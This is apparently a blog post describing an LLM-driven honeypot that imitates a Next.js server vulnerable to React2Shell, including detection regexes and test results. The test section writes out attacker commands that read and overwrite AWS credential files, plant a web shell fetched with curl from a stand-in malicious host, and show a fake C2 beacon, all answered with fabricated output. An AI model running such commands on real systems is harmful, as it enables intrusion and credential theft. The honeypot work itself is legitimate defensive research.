Previously, I discussed using an LLM to maintain the state of a persistent illusion of a compromised shell. That work assumed that there was, in fact, a vulnerability to sustain. This is not strictly necessary.
In practice, exploitation is rarely a direct interaction with a system. It is an interaction with a model of that system. The judgement as to whether it is a system or not is constructed from headers, responses, timing, and a set of expectations about how vulnerable software behaves. The attacker does not see the system. He sees its projection.
The goal here is not to recreate a vulnerability in the traditional sense. It is to recreate the conditions under which a vulnerability is assumed to exist. It can then respond in a way that reinforces that assumption once interaction begins.
All that is required is that the right signals are present, and that they remain consistent.
Now that I have a brain that functions modestly well and remembers what is going on modestly well (thanks Igor!) I need someone to talk to it. Part of the impetus behind my move to using LLM's was out of difficulty in maintaining and deploying vulnerabilities at scale within a reasonable period of time. Thus it makes no sense to attempt to recreate the vulnerability qua vulnerability. All that is necessary is that the right people think that there is a vulnerability.
Since this is a journey for me, I should be fully transparent. This was originally meant to be a demonstration of a script mimicking a SharePoint server and intercept and process vulnerabilities related to CVE-2025–53770. While I still plan on doing this, the complexity of the processing mixed with time constraints meant I had to fall back to a simpler vulnerability: CVE-2025-55182 also known as React2Shell.

Normal Browsing
When you or I decide to visit really any website site (doesn't have to be React based) much of what occurs prior to our view of the webserver page happens under the hood consisting of the various HTTP requests and responses based on what I am asking for. The diagram below illustrates our usual browsing experience:

Basically, if you want to see if the site is a normal website you navigate to the site in your browser and look at the web page presented to you. Now of course there are ways of faking it, but the basic premise is there. This is how most users interact with the webpage.
Threat Actor Scanning
Threat Actor scanning (and even benign scanners) are not pulling up the site pages on their browsers to determine if the server is React or Apache. Clearly this would be a time consuming process. Rather scanners rely on the data that gets passed "under the hood." This generally relies on the scanner examining the headers being passed to it by the server, as well as expected responses to common URL paths.
The flow below shows how enumeration generally takes place.

The Deception System
Given that this is based off of the React vulnerability, there are some quirks to the way our deception architecture will flow. At its heart is a specially crafted malicious payload that allows foe remote code execution, but divorcing it from the technical details it is essentially an injection attack where the victim endpoint is tricked into evaluating code.
Therefore in order to provide a believable illusion I must (1) first provide a convincing enough illusion to make a scanner believe that it is a genuine server running React and (2) that it responds as expected when the exploit is attempted.

The Server Illusion
I decided to start with a basic Python server that would provide believable response codes to common queries and (more importantly) provide evidence of the exploitable paths. Essentially the vulnerable server would be simply a very complex Python server providing responses matching a React server .
This begins with the headers that are sent from the illusion machine:
HTTP/1.1 200 OK
Server: nginx
X-Powered-By: Next.js
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch
Content-Type: text/x-component; charset=utf-8
Set-Cookie: sid=abc123def456; HttpOnly; SameSite=Lax; Max-Age=3600
Cache-Control: no-store, must-revalidateYet more than that, the Python server should also provide endpoints that a scanner would expect to help deceive it into thinking it was a React endpoint.
/_next/flight → primary RSC illusion
/_rsc → alternate RSC endpoint
/ → Next.js-style frontendThe Vulnerability Illusion
Yet more than just act like a React server, it needs to act like a vulnerable React server. This vulnerability doesn't hinge on a single mistake, so much as it exploits JavaScript's defining feature: its extensibility. When frameworks dynamically build behavior from input, the line between data and execution becomes thin. Under the right conditions, attacker-controlled input can cross that barrier by being interpreted as if it were part of the program.
Yet the beauty of what I am trying to create is that the details the threat actor is sending is not necessary to build into the system. All that is needed is to simply accept what the threat actor is sending and run it. Even if the threat actor doesn't do it perfectly (like a participation prize for trying their best). Essentially who cares what the threat actor sends as long as it meets the JSON multi-part criteria.
So for instance an example of the whoami command in the full example of an exploit would be as follows:

In all honesty the illusion server doesn't care about any of this other than the presence of the execSync command. Thus in my Python script, I added two functions that will allow me to understand what the threat actor is trying to ask for.
def extract_exec_command(text: str) -> Optional[str]:
patterns = [
r"execsync\s*\(\s*['\"]([^'\"]{1,500})['\"]\s*\)",
r"exec\s*:\s*['\"]([^'\"]{1,500})['\"]",
r"command\s*:\s*['\"]([^'\"]{1,500})['\"]",
]
for pat in patterns:
m = re.search(pat, text, re.IGNORECASE | re.DOTALL)
if m:
return m.group(1).strip()
return None
def extract_shell_drop_path(command: str) -> Optional[str]:
"""
Detect common shell write patterns.
Still heuristic, but better than only -o or > with simple spacing.
"""
patterns = [
r"(?:^|\s)(?:-o|--output)\s+([^\s;&|]+)",
r">\s*([^\s;&|]+)",
r"tee\s+([^\s;&|]+)",
r"touch\s+([^\s;&|]+)",
]
for pat in patterns:
m = re.search(pat, command)
if m:
return normalize_shell_path(m.group(1))
return NoneWhen these are called and match the patterns, we are able to pass the findings on to the LLM in Bedrock that we have previously built.
The script itself is written in Python using the FastAPI library using the URI routing structure mentioned above. The architecture follows the following flow:

Essentially the structure appears as an undeveloped web page for all intents and purposes. It is only after the correct requests are made to the correct endpoint, that the script hands things off to AI, which is less an execution engine and more a very confident liar with good memory.
Once the illusion server was sufficiently accomplished, I went about hooking the server illusion into the AWS Bedrock handler I designed in previous articles. This involved deploying both the Python script and ensuring that commands were being passed correctly and that the AWS Bedrock library was being called correctly. I also had to design a new persona for the compromised shell that would fit with a sample React2Shell environment. It actually took a lot of very boring troubleshooting that I will not bore the reader with here. Simple tests finally showed positive responses, and so I proceeded to examine the constructed environment with a series of tests to determine its effectiveness.
Illusion Testing Criteria
My testing procedure is based successful responses to three criteria
- Vulnerability Scanning Using Nuclei
- Active Exploitation with passed shell commands in the body of the POST request.
- Active exploitation involving the placement of dummy webshells
For tests two and four there are also accompanying negative tests.
Nuclei Vulnerability Scanning
I made the decision to go with Nuclei because I wanted a barebones scan based on a specific vulnerability. OpenVAS was obviously a strong contender, but I wanted something simpler and Nuclei's simple command line-based scans were appealing. Whether this is the right decision is debatable, but what it shows is that at a minimum the server shows itself vulnerable to the scanner.
docker run --rm projectdiscovery/nuclei -u http://x.x.x.x:3000 -id cve-2025-55182 -vv 2>&1 \
| Tee-Object -FilePath "scan_results2.txt"
[INF] Current nuclei version: v3.8.0 (latest)
[INF] Current nuclei-templates version: v10.4.2 (latest)
[INF] New templates added in latest release: 121
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] React Server Components - Remote Code Execution (@dhiyaneshdk,@princechaddha,@assetnote,@lachlan2k,@maple3142,@iamnooob) [critical]
[INF] Scan completed in 39.77085ms. No results found.The scan completed successfully and identified the system as vulnerable. Although, in this case, it says more about the scanner than the system.
Active Exploitation
There are two avenues of exploitation. Standard Linux command and web shell based execution.
Command Based Attack
1. whoami
Response Time: 874ms
root2. pwd
Response Time: 956ms
/var/www/html3. cat ~/.aws/credentials
Response Time: 1268ms
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPlusCfrS+IxwqQEXAMPLEKEY
region = us-east-1
[production]
aws_access_key_id = AKIAJ7K8L9M0N1O2P3QR
aws_secret_access_key = 8xY9zAbCdEfGhIjKlMnOpQrStUvWxYzAbCdEfGhIj
region = us-west-24. echo blank > ~/.aws/credentials
Response Time: 7.86s (a little long)
5. cat ~/.aws/credentials
Response Time: 729s
"blank"
This last command was to determine if the command would retain a historical change to a file namely
~/.aws/credentials.
Shell Attack
This involves another form of the attack where a web shell is placed on the server. In this case we will call it malshell.php and will invoke it by calling curl malicious.io/shell > malshell.php in the POST request.
- The Request

Response Time: 2.32s
1:"% Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed
100 12847 100 12847 0 0 45823 0 --:--:-- --:--:-- --:--:-- --:--:-- 100 12847 100 12847 0 0 45823 0 --:--:-- --:--:-- 0:00:00"2. http://127.0.0.1:3000/malshell.php?cmd=whoami
Response Time: 872ms
3. http://127.0.0.1:3000/malshell.php?cmd=cat ~/.aws/credentials
Response Time: 2.44s
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPluEfrS+EXAMPLEKEy
region = us-east-1
[production]
aws_access_key_id = AKIAJ5K8N2M9L0P1Q2R3
aws_secret_access_key = 8xK9mL0nO1pQ2rS3tU4vW5xY6zA7bC8dE9fG0hI1j
region = us-west-24. http://127.0.0.1:3000/malshell.php?cmd=ps axf
Response Time: 2.41s
PID TTY STAT TIME COMMAND
1 ? Ss 0:01 /sbin/init
12 ? Ss 0:00 /lib/systemd/systemd-journald
28 ? Ss 0:00 /lib/systemd/systemd-udevd
89 ? S 0:00 /lib/systemd/systemd-logind
156 ? Ss 0:00 /usr/sbin/sshd -D
234 ? Ss 0:00 /usr/sbin/apache2 -k start
235 ? S 0:00 \_ /usr/sbin/apache2 -k start
236 ? S 0:00 \_ /usr/sbin/apache2 -k start
289 ? Ss 0:00 /usr/sbin/mysqld
412 ? Ss 0:00 /usr/bin/python3 /usr/local/bin/malshell.py
523 ? S 0:00 /bin/bash -i
524 ? S 0:00 \_ curl http://c2.malicious.io/beacon
567 pts/0 Ss 0:00 -bash
568 pts/0 R+ 0:00 ps axfOutlier Attacks
These are attacks that trace various catch-all characteristics within the illusion environment. Things that haven't been put in place yet or malformed attacks.
Errors in the formatting of the attack string. There was nothing returned here:

Unregistered Shell Name fake.php This is an attempt to exploit a php file that hasn't been placed yet. The script is designed to respond as though the script was placed. Hence: http://127.0.0.1:3000/fake.php?cmd=ping google.com returns a response regardless of whether the shell was ever placed.
PING google.com (142.251.41.14) 56(84) bytes of data.
64 bytes from lax17s47-in-f14.1e100.net (142.251.41.14): icmp_seq=1 ttl=119 time=12.4 ms
64 bytes from lax17s47-in-f14.1e100.net (142.251.41.14): icmp_seq=2 ttl=119 time=11.8 ms
64 bytes from lax17s47-in-f14.1e100.net (142.251.41.14): icmp_seq=3 ttl=119 time=12.1 ms
64 bytes from lax17s47-in-f14.1e100.net (142.251.41.14): icmp_seq=3 ttl=119 time=12.3 ms
^C
--- google.com statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 11.8/12.1/12.4/0.2 msI want to point out something in the shell command response for ps axf
PID TTY STAT TIME COMMAND
1 ? Ss 0:01 /sbin/init
12 ? Ss 0:00 /lib/systemd/systemd-journald
28 ? Ss 0:00 /lib/systemd/systemd-udevd
89 ? S 0:00 /lib/systemd/systemd-logind
156 ? Ss 0:00 /usr/sbin/sshd -D
234 ? Ss 0:00 /usr/sbin/apache2 -k start
235 ? S 0:00 \_ /usr/sbin/apache2 -k start
236 ? S 0:00 \_ /usr/sbin/apache2 -k start
289 ? Ss 0:00 /usr/sbin/mysqld
412 ? Ss 0:00 /usr/bin/python3 /usr/local/bin/malshell.py
523 ? S 0:00 /bin/bash -i
524 ? S 0:00 \_ curl http://c2.malicious.io/beacon
567 pts/0 Ss 0:00 -bash
568 pts/0 R+ 0:00 ps axfYou can see what it is and that it is formatted correctly. It is only at closer inspection that you start to see some things that don't quite add up. Similar to AI's famous issue with the correct amount of hands on a finger. Yet the advantage is that despite some of these irregularities it suffices for a passing glance and saves enormous amounts of time by just autogenerating.
Closing Thoughts
A system does not need to be compromised to be treated as compromised. It only needs to speak convincingly in the language of compromise.
The implication is uncomfortable. Many of the tools used to identify vulnerable systems are not verifying reality. Rather the systems are inferring it based on a preponderance of evidence: Headers, response codes, timing, and output are only signals. And signals, when arranged carefully enough, can tell a very convincing story.
In this case, the system is not executing commands. It is maintaining coherence. It is ensuring that each interaction reinforces the same underlying narrative: that the system is real, that it is vulnerable, and that progress is being made.
For an attacker, that is often enough.